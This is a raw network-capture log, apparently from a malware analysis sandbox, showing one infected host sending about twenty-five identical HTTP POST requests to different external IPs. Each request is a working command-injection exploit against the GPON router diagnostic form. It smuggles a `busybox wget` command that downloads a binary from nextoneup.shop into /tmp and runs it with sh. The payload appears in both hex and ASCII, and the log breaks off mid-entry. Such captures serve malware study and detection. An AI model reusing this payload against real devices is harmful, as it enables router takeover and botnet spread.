Session ID	Source IP	Source Port	Destination IP	Destination Port
2616	192.168.2.13	44866	117.23.28.97	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439075947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2617	192.168.2.13	39006	202.198.193.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439078093 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2618	192.168.2.13	33662	42.0.239.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439116955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2619	192.168.2.13	53722	94.19.9.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439137936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2620	192.168.2.13	39980	212.139.100.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439189911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2621	192.168.2.13	52052	79.58.19.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439227104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2622	192.168.2.13	34190	109.175.39.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439265013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2623	192.168.2.13	54880	5.35.67.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439279079 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2624	192.168.2.13	58014	5.81.186.72	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439330101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2625	192.168.2.13	48846	42.163.192.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439352989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2626	192.168.2.13	50960	5.198.61.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439392090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2627	192.168.2.13	42968	37.127.18.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439415932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2628	192.168.2.13	45314	109.62.30.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439425945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2629	192.168.2.13	47378	109.28.51.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439446926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2630	192.168.2.13	51604	202.56.206.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439491034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2631	192.168.2.13	45254	123.208.168.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439492941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2632	192.168.2.13	48938	202.177.129.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439532995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2633	192.168.2.13	38930	2.236.23.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439562082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2634	192.168.2.13	41122	37.25.91.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439593077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2635	192.168.2.13	46698	109.245.7.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439630032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2636	192.168.2.13	46204	109.198.8.131	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439659119 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2637	192.168.2.13	52564	94.142.140.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439677954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2638	192.168.2.13	41428	79.80.195.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439698935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2639	192.168.2.13	44642	202.30.146.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439745903 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2640	192.168.2.13	53812	94.125.159.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439760923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2641	192.168.2.13	41680	148.45.125.126	443

Timestamp	Bytes transferred	Direction	Data
